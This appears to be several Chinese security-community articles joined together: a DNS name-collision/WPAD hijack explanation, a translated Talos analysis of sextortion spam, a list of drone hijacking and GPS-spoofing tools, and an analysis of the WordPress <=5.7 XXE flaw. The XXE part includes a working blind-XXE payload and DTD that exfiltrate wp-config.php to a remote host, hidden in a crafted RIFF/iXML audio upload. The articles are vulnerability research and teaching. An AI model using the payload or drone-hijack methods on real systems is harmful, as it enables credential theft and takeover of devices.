公网的根服务器或者数据收集机构可能会记录下这样的域名查询记录（wpad.company.ntld）。如果攻击者通过某种手段知道了这样的域名，并且在gTLD扩充之后.ntld后缀被允许注册，那么攻击者可以合法的注册一个公网的company.ntld域名，并且绑定到攻击者的服务器。
那么危害就来了，如果私有网络自治域内的应用向外网请求了wpad.company.ntld这样的一条请求，希望知道WPAD服务器的IP和端口，那么公网的DNS服务器会解析这个域名到攻击者的服务器上，之后攻击者可以可以任意控制自治域的受害者主机代理配置，劫持受害者的流量。如果这个请求来自受害者自治域的服务程序（为这个AS所有用户提供WPAD服务），那么攻击者甚至可以将整个AS域内的全部主机流量劫持，这种危害相当巨大。
这种中间人攻击，对于攻击者来说，只需要去公网注册这样的域名就可以造成巨大的危害，成本很低。而且现实中许多服务应用在对系统底层请求DNS解析的内容都是无条件信任的，攻击者只要利用这种域名碰撞就能轻松地实现对漏洞的利用。
### 服务应用漏洞的定义
不仅仅是提供WPAD服务的应用，上面只是用WPAD举例，但是从前面的攻击分析可以知道，只要服务应用满足以下二个条件就能被攻击者利用：
1. 使用的域名后缀被通用顶级域名接受
2. 使用了基于DNS服务发现的请求，并且这个请求被泄露到公网
只要攻击者知道了这个DNS服务发现的请求链接，并在公网注册这样的域名就能返回给这样的服务应用攻击者决定的内容，可以导致很多漏洞的发生，包括中间人攻击、恶意代码注入、程序流程劫持等等。
### 寻找存在漏洞的服务应用
如何获得这样的DNS服务发现请求链接呢（比如wpad.company.ntld）？
作为黑客，可以通过社工、窃密、其他漏洞等等得到一个AS自治域的一些私有域名信息。作为科研人员，我们可以直接DNS根服务器记录中去发现，比如DNS-OARC
Day In The Life of the Internet (DITL) 数据集。
从根服务器的记录中，我们去寻找二类记录：
* 一是gTLD扩充前的响应为NXD的DNS请求
* 二是现在gTLD扩充的域名后缀
从这些记录中整理提取出泄露的DNS服务发现请求，对应这些链接和服务在网络上也可以找到对应的服务程序。这里列举去年研究人员总结的服务应用和漏测试的漏洞情况如下：
防范这类攻击主要从二种层面：
* 网络管理层面：做好网络配置，避免自治域的私有请求发送到公网。在网络内也要检测是否被外网的服务劫持。
* 软件层面：对请求返回的内容加以验证，比如IP地址是否是允许的范围内，对一些敏感操作需要严格的控制和验证，避免恶意代码注入。 | 社区文章 |
文章为翻译稿件，翻译自：https://blog.talosintelligence.com/2018/10/anatomy-of-sextortion-scam.html
自今年7月以来，攻击者越来越多地在互联网上进行sextortion型攻击。思科Talos在过去几个月对这些活动进行持续的关注。在许多情况下，恶意邮件发送者从泄露的公开可用的数据中盗取电子邮件地址和密码，然后使用这些数据来帮助他们进行sextortion攻击。实际上攻击者没有将他们进行对目标进行攻击的视频放到网上，但是如果受害者在一定时间内没有支付赎金，那攻击者将会发送电子邮件告诉受害者他们会将隐私视频内容放到网上。其中包括收件人的密码以及他们的付款要求，并且攻击者希望将他们的攻击合法化。虽然这些攻击已持续数月，但Talos希望仔细研究其中的一些活动以了解为什么用户会被欺骗并向攻击者发送大量比特币。通过详细研究一些垃圾邮件，我们的研究人员能够深入了解这些犯罪活动的运作方式。
### sextortion攻击分析
为了更深入地了解sextortion骗局，Talos提取并分析了两个非常相似的sextortion垃圾邮件。
经过我们分析，第一个垃圾邮件攻击始于2018年8月30日；第二个活动于2018年10月5日开始。在撰写此博客时，这两个活动仍处于活跃状态。
Talos从2018年8月30日到2018年10月26日从SpamCop处收到了有关这两个sextortion活动中的所有消息 - 58天的垃圾邮件。
与这两个sextortion攻击有关的每条消息都包含一个标题，该标题与以下两个正则表达式相匹配：
From =~ /Aaron\d{3}Smith@yahoo\.jp/
From =~ /Aaron@Smith\d{3}\.edu/
总的来说，SpamCop收到了233,236封与这些“Aaron Smith”攻击活动相关的sextortion电子邮件。
而攻击消息是从137,606个唯一的IP地址传输出来的。
绝大多数发送IP地址发送了一条或两条的消息。作为此活动的一部分，此IP地址中包含了120,659个发送方IP（87.7％）。
发送出消息的IP分布在许多国家。但50％的垃圾信息来自五个国家：越南（15.9％），俄罗斯（15.7％），印度（8.5％），印度尼西亚（4.9％）和哈萨克斯坦（4.7%）。
如果你对其中一些国家很熟悉，那可能是因为印度和越南层被公认是拥有极大数量的机器国家。然而这些机器被Necurs僵尸网络感染。众所周知，Necurs这是一个恶意软件公司。
尽管在个攻击活动中有233,000封电子邮件被发送，但收件人的数量却是远低于此数量。Talos仅发现15,826个不同的受害电子邮件地址。
这意味着攻击者要为每个收件人平均发送近15个sextortion垃圾邮件。 数据集中其中一个不幸的受害者曾收到过惊人的354次邮件。
每个sextortion垃圾邮件都包含了付款需求。 攻击者所要求的付款具体内容根据攻击系列有所不同，其实一个在1-7之间的整数随机数字，其后跟随三个零（$
1,000 - $ 7,000）。所以支付的六种支付金额在政哥电子邮件集合中出现的频率几乎相同，这表明攻击者对待所有受害者没有差别。
除了支付需求之外，每个sextortion消息还包含比特币（BTC）钱包地址以从受害者账户中接收付款。
总的来说，Talos确定了与这两个垃圾邮件活动相关的58,611个独特比特币钱包地址。在这58,000个比特币钱包中，只有83个钱包有正余额。
然而，这83个钱包的余额加起来为23.3653711比特币，相当于146,380.31美元。 考虑到攻击者仅60天实施一次攻击，所以其危害性并没有太大。
如果你注意到那些随着时间推移而改变的比特币钱包与受害者电子邮件的数量，可以发现攻击者会定期使用新的数据进行攻击活动。
独特的比特币钱包的数量趋于峰值，然后随着时间的推移逐渐减少，直到它再次达到峰值。
从图中看到，新的钱包地址的最后一次主要注入发生在10月9日。随着时间的推移，对于某些邮件接收者也有着相同的情况。10月9日附近出现了大量的新收件人。
不幸的是，当我们进一步挖掘具有正余额的部分比特币钱包时，我们注意到有关钱包支付金额的一些奇怪之处。
几个钱包已经收到了远远低于这个特定活动所要求的最低1,000美元付款的转账。 付款金额过低，不属于比特币价格波动逻辑可以解释的范围。
我们的研究人员发现，这次袭击中使用的一些钱包地址在其他攻击中也出现过。攻击者在不同的垃圾邮件攻击中重复使用他们的一些比特币钱包地址。
鉴于攻击者的比特币钱包被重用，Talos决定扩大我们的研究范围，包括所有提及“比特币”的垃圾邮件，同时还拥有一串类似于电子邮件正文中的比特币钱包地址的26-35字符。
### 攻击者所使用个人信息
我们发现的第一个相关sextortion攻击事件是利用了受害者的电话号码而不是他们数据泄露的密码。
虽然电话号码不像用户密码那样私密或机密，但它仍然可以说是具有隐私性的。 通过获得受害者的电话号码，攻击者可以进一步利用使受害者相信他们。
如果你仔细阅读文本，你会注意到此电子邮件中的大部分文本与Talos之前分析的“Aaron Smith”活动中包含的文本内容几乎相同，尤其是结尾段落。
事实上，在搜索SpamCop时，我们遇到了一个示例电子邮件，其中攻击者错误地披露了他们的模板，其中包含选择您自己的冒险风格的文本，这些模板用以生成各种邮件正文作为其分发垃圾邮件的一部分。
### SEXTORTION的国际化
IBM X-Force的安全研究人员最近发现了一个据称于2018年9月底通过Necurs的僵尸网络基础设施实施的一个黑客攻击。
利用IBM提供的20比特币钱包指示（IoC），Talos确定了近1,000个参与传输“Aaron Smith”垃圾邮件的相关攻击IP地址，以及IBM
X-Force与Necurs僵尸网络相关的国际化垃圾邮件。 根据发送的IP地址相同这个情况表明，这两个事件是由同一个组织进行的。
除了X-Force博客中确定的7种不同语言（ENG，GER，FRE，ITA，JPN，KOR，ARA）之外，Talos还确定了捷克语，西班牙语，挪威语，瑞典语和芬兰语。
### 更多攻击变化
还有其他类似形式的sextortion垃圾邮件均来源于一些相同的Necurs-sending
IP基础设施。以下是看起来像支持票证的sextortion垃圾邮件示例。 为了看起来更为真实，该消息甚至包括官方格式：“就绪，通知：<日期>”。
攻击者在完全不同类型的比特币相关电子邮件骗局中使用了相同的比特币钱包。
位于上面“票证”示例中的BTC钱包。`1HJbQG3NsDGqqnnF1cU2c1Cgj1BT65TYRy`也出现在视频比特币诈骗事件中。
在性爱视频诈骗中，攻击者冒充一名俄罗斯联邦的年轻女孩，并承诺发送一个相关视频以换取100美元并存入攻击者的比特币钱包中。
Talos发现了其他的比特币钱包，这也显示了同样一封垃圾邮件有不同的攻击手法。
例如，比特币钱包`1NAXPRTdVdR5t7wfR1C4ggr9rwFCxqBZD7`不仅出现在上面详述的“票证”sextortion诈骗消息中，而且它还出现在另一个事件中用于敲诈。
垃圾邮件发送者声称一直关注受害者，他们在那里获得了有关收件人的照片证据。
### 其他攻击的不同手法
当我们从SpamCop研究其他与比特币相关的垃圾邮件时，我们遇到了利用比特币支付的社工攻击。
在上面详述的“我知道你正在进行欺骗”勒索案例中，攻击者声称有证据证明受害者的伴侣实际上在欺骗他们。
虽然消息中的文字措辞有点熟悉，但它与其他勒索攻击（例如，通过包含附加的QR代码）不同，它实际上可能是完全不同的攻击者进行的攻击。
Talos还发现了与勒索相关的暴力信息，攻击者声称他们已经付费去杀死了收件人。袭击者声称本来他们已经安排好了交通工具，但是由于注意的改变，他们现在愿意将雇佣者的信息出售出去。同样，这种消息的格式和措辞看起来与我们在多个sextortion电子邮件中看到的文本非常相似。
虽然我们怀疑它，但Talos不能肯定地说这些暴力勒索电子邮件实际上是同一攻击者所为。
我们注意到有一些与比特币相关的垃圾邮件事件。虽然他们很难与Necurs僵尸网络事件相联系，但他们也说明了一些受害者通过社交工程进行攻击的情况。虽然很少将它们与Necurs僵尸网络相联系，但他们是通过社工进行攻击的一个典型例子。
首先，针对受害者的攻击是基于快速致富计划的思想。 在此攻击中，攻击者鼓励收件人将比特币发送到钱包地址，他们的比特币将在三小时内神奇地翻倍。
这个比特币“倍增器”声称利用了一个未公开的“系统中的错误”。
虽然部分用户可能能够快速识破这是一个骗局，但是一些没有受过比特币概念教育的用户可能容易受到这种类型的垃圾邮件的影响。
其他与比特币相关的垃圾邮件是针对那些可能进行捐赠给慈善机构的人。
虽然减轻受到军事侵略影响的儿童的痛苦受人钦佩，但在我们的信息中找不到任何一个合法的慈善组织机构。
我们还发现了一则声称是“正能量邮件”的垃圾邮件。
消息正文中写着：“你知道那些不断流传的电子邮件试图勒索你的比特币。其声称他们已经破坏了你电脑中的相机并且有他们计划与你的朋友和家人分享的令人尴尬的视频和照片吗？......
这不是其中之一！”
在这封电子邮件底部附近的问答部分，垃圾邮件发送者写道：“问：我们怎么知道这是合法的？答：你没有。我们实际上很难在不暴露自己的情况下发布证据。我们对此进行道歉但这是我们能做的最好的事情。“
如果你对整个10月4日的比特币抽奖结果感到好奇，请注意垃圾邮件中提到的这一笔比特币钱包交易。 这笔交易发生在9月28日，价格为4美元。
### 总结
大多数制止垃圾邮件的解决方案都会进行过滤尝试。然而，这不是过滤子弹。
当这些垃圾邮件进入用户的电子邮件收件箱时，许多用户有可能因为没有受到足够的教育，无法确定这是一个旨在让他们放弃比特币的骗局。
不幸的是，从大量比特币案例中可以清楚地看出，这些受害者要走的路还很长。 | 社区文章 |
# 【技术分享】如何黑掉一个无人机？已知无人机漏洞&利用工具汇总（附演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：swalters
原文地址：<https://medium.com/@swalters/how-can-drones-be-hacked-the-updated-list-of-vulnerable-drones-attack-tools-dd2e006d6809#.2z0x0s65l>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **mryu1**](http://bobao.360.cn/member/contribute?uid=2779928186)
**稿费：90RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
商业无人机和无线电遥控飞机日益受到关注，商业航空公司害怕发生碰撞，无人机的购买者害怕隐私受到侵犯。
另一个风险是无人机在飞行的过程中可能受到劫持或人为干扰。近几年，有一些安全研究员已经发现了一些无人机的通用漏洞。在某些文档中这些研究人员甚至提供了全部的源代码或者利用工具去展示他们的攻击成果。
在这篇文章中我将要整理一个合辑，关于之前公开的无人机漏洞和相关的漏洞验证、利用方法以及一些现成的工具。该文档旨在让安全研究人员如何更好的挖掘利用无人机漏洞，让无人机厂商在研发的过程中不断地提升无人机的安全性。我会不断的将最新的无人机漏洞在这个帖子更新出来。
**正文**
**Skyjack**
攻击类型：劫持（Hijack）
涉及无人机：Parrot AR.Drone 2
参考链接: <http://samy.pl/skyjack/>
验证代码：<https://github.com/samyk/skyjack>
**Bebop WiFi Attack**
攻击类型：劫持（Hijack）
涉及无人机：Parrot Bebop
演示视频：
**GPS 欺骗**
攻击类型：劫持（Hijack）
攻击硬件：HackRF（300美元）或bladerf X40（420美元）
涉及无人机：大多数开启GPS的无人机( 大疆 1/2/3/4, 大疆 Inspire, DJI Mavic, Yuneec Brezee, Yuneec
Thypoon, Yuneec Tornado 等)
参考链接：
[GPS Spoofing a UAV (DJI
Phantom)](https://www.syscan360.org/slides/2015_EN_GPSSpoofingofUav_YuanJian.pdf)
[Unmanned Aircraft Capture and Control via GPS
Spoofing](https://pdfs.semanticscholar.org/c9d8/5878c56390b614a891d477b90d1b35ceb21b.pdf)
[How to spoof GPS with HackRF](https://insinuator.net/2016/07/gotta-catch-em-all-worldwide-or-how-to-spoof-gps-to-cheat-at-pokemon-go/)
**Spoofing How to spoof GPS with HackRF**
攻击类型：GPS 干扰
攻击类型：拒绝服务攻击
涉及无人机：大多数开启GPS的无人机( 大疆 1/2/3/4, 大疆 Inspire, DJI Mavic, Yuneec Brezee, Yuneec
Thypoon, Yuneec Tornado 等)
参考链接：[http://www.thingiverse.com/thing:1639683](http://www.thingiverse.com/thing:1639683)
$20 GPS Jammer
**第一人称视角无人机视频下行链路干扰**
攻击类型：拒绝服务攻击
参考链接：[http://www.thingiverse.com/thing:1639683](http://www.thingiverse.com/thing:1639683)
演示视频：
**DeviationTX NRF24L01 Hijack**
攻击类型：劫持
涉及无人机：大多数开启GPS的无人机( 大疆 1/2/3/4, 大疆 Inspire, DJI Mavic, Yuneec Brezee, Yuneec
Thypoon, Yuneec Tornado 等) Complete list 成功列表
参考链接：[DeviationTX with $5 nrf24l01 module the universal drone
remote.](https://dronegarageblog.wordpress.com/2016/06/07/deviationtx-with-nrf24l01-module-the-universal-drone-remote/)
DHD & Cheerson toy drones with NRF24L01 module.
**ICARUS**
攻击类型：劫持
涉及无人机：多数业余/专业级无人机遥控所使用的数字信号复用设备协议。
参考链接：[Attacking DSMx with SDR (PacSec 2016 — English
英語)](https://prezi.com/vh4in2krlaoh/attacking-dsmx-with-sdr-pacsec-2016-english/)
**Nils Rodday Attack**
攻击类型：劫持
涉及无人机：Aerialtronics Altura Zenith （执法无人机）
参考链接：[Hacker Says He Can Hijack a $35K Police Drone a Mile
Away](https://www.wired.com/2016/03/hacker-says-can-hijack-35k-police-drone-mile-away/) [Hacking a professional drone by Nils
Rodday](https://www.rsaconference.com/writable/presentations/file_upload/ht-w03-hacking_a_professional_police_drone.pdf)
演示视频：
**Drone Duel**
攻击类型：劫持
涉及无人机：Cheerson CX-10（微型直升机）
参考链接：[Drone Hacking is becoming childs
play](https://medium.com/@swalters/drones-hacking-is-becoming-childs-play-b56843342e36#.1fydh1zg7)
验证代码：[Drone Duel Github](https://github.com/marcnewlin/drone-duel)
**Fb1h2s Maldrone**
攻击类型：后门
涉及无人机：Parrot AR
参考链接：http://garage4hackers.com/entry.php?b=3105
演示视频： | 社区文章 |
# 分析和学习WordPress<=5.7 XXE漏洞
## 0x0 前言
这个洞是新爆出来的,漏洞成因可以说是有点奇葩的，但正是这样导致很多人没发现，同时利用过程也是有一丢丢的复杂，下面是我分析和学习过程,希望能给大家带来一点启发。
## 0x1 漏洞简介
影响范围: WordPress <= 5.7 && php8
类型: Blind XXE
严重程度: 中高
关于PHP8局限范围的一些解读:
> 每个PHP的主要版本生命周期一般为2年（超过这个时间后官方不再维护更新），PHP 7.4于2019年11月发布，作为PHP 7的最终版本，这意味着PHP
> 7.4要到2022年11月份才会走到它的“生命尽头”。也就是说，到2022年11月份，所有流行的PHP程序都至少应该与PHP 8兼容，
## 0x2 环境搭建
version: '3.8'
services:
wordpress:
container_name: wordpress-wpd
restart: always
image: wpdiaries/wordpress-xdebug:5.7-php8.0-apache
ports:
- "8010:80"
environment:
VIRTUAL_HOST: wordpress-test.com
WORDPRESS_DB_HOST: db
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: root
WORDPRESS_DB_PASSWORD: root
XDEBUG_CONFIG: "remote_host=docker.for.mac.localhost idekey=PHPSTORM"
depends_on:
- db
volumes:
- /Users/xq17/工作区/研究进程/代码审计/wordpressSource:/var/www/html
networks:
- backend-wpd
- frontend-wpd
db:
container_name: mysql-wpd
image: mysql:8.0.20
command: --default-authentication-plugin=mysql_native_password
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
MYSQL_USER: root
MYSQL_PASSWORD: root
networks:
- backend-wpd
networks:
frontend-wpd:
backend-wpd:
这里需要注意下,开启调试的话,需要手工修改下xdebug.ini
# Parameters description could be found here: https://xdebug.org/docs/remote
# Also, for PhpStorm, configuration tips could be found here: https://www.jetbrains.com/help/phpstorm/configuring-xdebug.html
zend_extension=xdebug.so
xdebug.mode=debug
xdebug.log_level=7
xdebug.log="/tmp/xdebug.log"
xdebug.idekey=PHPSTORM
xdebug.max_nesting_level=1500
xdebug.connect_timeout_ms=60000
# the default port for XDebug 3 is 9003, not 9000
xdebug.client_port=9003
# The line below is commented. This is the IP of your host machine, where your IDE is installed.
# We set this IP via XDEBUG_CONFIG environment variable in docker-compose.yml instead.
xdebug.client_host=docker.for.mac.localhost
xdebug.start_with_request=yes
xdebug.discover_client_host=true
## 0x3 分析思路
wordpress发布新版本的时候会提到[安全更新](https://wordpress.org/support/wordpress-version/version-5-7-1/#security-updates)
这里提到了media Library,然后我们去github直接对比下代码
Compare: 5.7 <-> 5.7.1
## 0x4 漏洞分析
### 0x4.1 漏洞点
/**
* @param string $XMLstring
*
* @return array|false
*/
public static function XML2array($XMLstring) {
if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) {
if (PHP_VERSION_ID < 80000) {
// http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html
// https://core.trac.wordpress.org/changeset/29378
// This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is
// disabled by default, so this function is no longer needed to protect against XXE attacks.
$loader = libxml_disable_entity_loader(true);
}
$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
$return = self::SimpleXMLelement2array($XMLobject);
if (PHP_VERSION_ID < 80000 && isset($loader)) {
libxml_disable_entity_loader($loader);
}
return $return;
}
return false;
}
说实话,这个漏洞成因还是很简单的
如果PHP版本>=8,那么就不会调用`libxml_disable_entity_loader(true);`来禁止加载外部实体
那么最终`$XMLstring`这个参数的内容就会进入`simplexml_load_string`
$XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);
本来php8的话启用的是libxml2.9,默认是不会加载外部实体的,但是因为第三个参数启用了`LIBXML_NOENT`开启替换实体,这样就会人为地修改了默认行为，从而导致了XXE攻击。
### 0x4.2 漏洞利用
找到了漏洞点,并不一定说明存在漏洞，还是要找到路径到漏洞点，才能说明这是一个漏洞。
直接开始，全局搜索只有一个引用的地方
代码比较简洁:
`wp-includes/ID3/module.audio-video.riff.php` 426 行 `getid3_riff`类
if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
// requires functions simplexml_load_string and get_object_vars
if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])).....
......
$thisfile_riff_WAVE['iXML'][0]['data']
最终会作为`XML2array`的参数传进去解析,那么我们继续回溯下这个参数是怎么来的。
继续查找:`$thisfile_riff`
然后跟上去发现是继承了父类的构造方法:
`/wp-includes/ID3/getid3.php` 1973行
那么我们继续回溯`getid3_riff`这个类的实例化就行了。
跟到这里,其实我已经大概知道了那个信息是来源RIFF数据的,也就是说来自于音频文件的,那么到这里我心中大概有个底了,觉得是有机会的。
有了这个基础,我们就可以耐着性子，开始从函数调用，层层回溯下去了。
那么只能搜索`Analyze`,最终人眼排除(说一下排除思路，就是要找`getid3_riff`类实例化调用的`Analyze`，不是的话就可以排除),最终确定了两个地方。
第一个地方:
`/wp-includes/ID3/module.audio-video.riff.php` 1896行，存在于`ParseRIFFdata`函数内
第二个地方:
`/wp-includes/ID3/getid3.php` 640行 在`analyze`函数内部
然后我继续看了下`$determined_format`这个变量的来源,看他是不是会拼接成`getid3_riff`
选中之后，这个变量就会都被选中，然后前面找赋值
跟进这个函数`GetFileFormat`
这里我们可以看到返回是`$info`,然后按照顺序，果断先从文件内容解析格式,解析失败了再从文件名入手。
,然后关于这个内容，都是`GetFileFormatArray`来决定的，跟进
public function GetFileFormatArray() {
static $format_info = array();
if (empty($format_info)) {
$format_info = array(
...
'riff' => array(
'pattern' => '^(RIFF|SDSS|FORM)',
'group' => 'audio-video',
'module' => 'riff',
'mime_type' => 'audio/wav',
'fail_ape' => 'WARNING',
),
....
}
return $format_info;
}
可以看到如果文件内容满足上面规则,那么最终是有机会调用`getid3_riff`的,因为其中存在module=>'riff'。
搜索调用,同样也有两处:
第一处:
`/wp-admin/includes/media.php` 3549行 在 `wp_read_video_metadata`函数
第二处:
`/wp-admin/includes/media.php` 3660行,在`wp_read_audio_metadata`函数
那么我继续找这两个函数的调用
这两个函数很相似，限于文章篇幅、分析思路雷同，所以这里我只选取一个函数`wp_read_audio_metadata`来分析。
第一处:
`wp-admin/includes/image.php` 489行, `wp_generate_attachment_metadata`
第二处:
`/wp-admin/includes/media.php` 321行 `media_handle_upload`函数内
这个代码可以说已经很直白了,出现了`$_FILES`全局变量(在这里，我不会去细究那些细节的实现的，我只要知道是否会经过就行了)
然后继续找这个调用
然后找到一处:
`/wp-admin/includes/ajax-actions.php` 2549行 `wp_ajax_upload_attachment`函数内
然后我们再找下`wp_ajax_upload_attachment`的调用点就行了。
`/wp-admin/async-upload.php` 33行
包含起来，然后调用这个函数,请求`async-upload.php`页面,然后`action=upload-attachment`,就会调用了。
### 0x4.3 调试过程
随便找一个能够拖拽上传的点
抓包就会发现,是符合我们的分析的,直接开启xdebug跟数据流就行了。
断点我下在了
然后开始跟
这里有个小判断，可以绕过
Content-Disposition: form-data; name="async-upload"; filename="test.mp3"
Content-Type: audio/mpeg
然后也调用`finfo_file`检测文件的头几个字节来判断`$real_mime`
(这个可以自己去跟一下`wp_check_filetype_and_ext`,做了一些文件的白名单的操作)
这里为了不必要的麻烦，我们直接去找一个现成的mp3文件就好了(直接截取前面头一部分内容，emmm，蛮粗暴的)
然后我们继续向下debug:
下面来到一些关键的地方了，需要认真调试了
这里读取了偏移101B，32kb大小的头部内容进去，然后这里就可以搜索`RIFF|SDSS|FORM`的数据了，emm。我们构造数据的话,可以先大量填充，最终找到101个字节的位置，然后修改为RIFF作为开始就可以进入到关键的地方了。
但是来到这里，我们的数据，依然是不成功的，因为要符合getid3库去解析RIFF的格式，要不然是提取不到数据的。
第一次构造如下:
结果如下:
最终进入关键的函数，结合最前面的分析，直接就是`simple_load_xml`
其实一开始我是没意识到那个位置代表的是RIFF的数据大小的，但是肯定有代表大小的区域，且为4字节，我试着填FF就发现了。
其实格式是这样的(感兴趣的话，可以直接跟一下解析就行了，这里直接给出我的结果):
RIFF|4字节随便填|WAVE|iXML|4字节代表xml内容大小|xml内容
### 0X4.4 构造POC
这里因为没有回显，需要外带数据，所以可以这样构造:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://docker.for.mac.localhost:8091/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>>
xxe.dtd
<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://docker.for.mac.localhost:8092/?%data;'>">
POC如下:
结果:
## 0X5 再看漏洞成因
### 0x5.1 菜鸡碎碎念
其实我觉得，上面那些枯燥分析过程没必要去看，看成因然后自己去分析，出现问题再来看我的分析过程比对就可以了。给出我对这个漏洞的具体成因的理解，其实才是最重要的。
### 0x5.2 成因
首先问题出现在了WP内置的第三方库:[ID3](https://github.com/nass600/getID3)
emmm,然后，直接搜索github，发现确实是这个库，
<https://github.com/nass600/getID3/blob/master/getid3/getid3.lib.php>
522行，感觉也很离谱,如果libxml<2.9的话，这个函数就会一样有XXE漏洞。
static function XML2array($XMLstring) {
if (function_exists('simplexml_load_string')) {
if (function_exists('get_object_vars')) {
$XMLobject = simplexml_load_string($XMLstring);
return self::SimpleXMLelement2array($XMLobject);
}
}
return false;
}
然后我们再看WordPress中的这个函数，是做了XXE防护的，原来在WP3.9.2的时候确实因为这个库导致过一次XXE。
emm，当时做了修复:
本来这样就蛮安全的了，为什么WP还要改呢？ 这个问题就出现在了WP要向PHP8兼容
$loader = libxml_disable_entity_loader( true );
因为`libxml_disable_entity_loader`在PHP8是移除的了,这个语句是会报错的，那么作为一个优雅的开发者，怎么修改呢？
所以我当时google了下。
有篇文章<https://php.watch/versions/8.0/libxml_disable_entity_loader-deprecation,就介绍了如何解决这个问题。>
emmm，是不是，然后我们回头看WP的代码，是不是很像，其实文章没有错，只不过，没有解释如果出现了第三个参数情况，那么默认配置不解析外部实体就会被第三个参数更改，导致了XXE。
然后看这个注释，emmm，只能说，开发者不是神，同样是人，一个应用不可能永远没有漏洞的，这个就是一个很好的例子。
### 0x5.3 聊一下LIBXML_NOENT
其实我对这个函数也不是很懂， 其实也不是很清楚WP为何执意用这个，但是查看返回值确实是存在差异的。
猜想:
> 参数的作用就是在内部替换了实体，这样就不会出现实体节点，这样解析下来遇到实体的话就需要解析，底层实现的时候，解析到外部实体，所以可以导致XXE。
所以有时候这个参数是可以在一定程度简化代码的，但是要禁止外部实体的解析，我们依然要跟WP那样，加多一个@，屏蔽错误，这个操作依然是有效去防范xxe攻击加载外部实体的。
$loader = @libxml_disable_entity_loader(true);
不过官方提到这个参数,说如果需要使用内部实体解析的时候，那就需要带上第三个参数。
很迷，感觉这个说话不算很可靠，就算不需要这个，也是能解析内部实体的，希望有师傅能从开发角度说说差异。
## 0x6 总结
文章从漏洞基本情况，环境搭建，分析思路，具体分析过程到成因分析，基本还原了笔者学习一个新漏洞的过程。其中可以发现，笔者更偏向于模拟漏洞发现者的思路开始回溯分析(未知)，而不是poc->debug(已知),因为这样的模式可以让笔者印象更加深刻，也能发现更多的利用点。
关于本文还是有些遗憾的地方，就是还有很多触发点没去分析，目前的话，基本可以确定调用ID3库的analy函数的话就可以攻击，范围更小一点就是支持上传的点也可能可以，然后衍生下思路，一些wp的插件如果引用这个功能的话，那么也会XXE。欢迎师傅们继续深入研究，产出更多0day。
## 0x7 参考链接
[WordPress 5.7 XXE Vulnerability](https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu)
[Docker+PhpStorm远程调试php](http://badaozhenjun.com/posts/2077109e/) | 社区文章 |
Subsets and Splits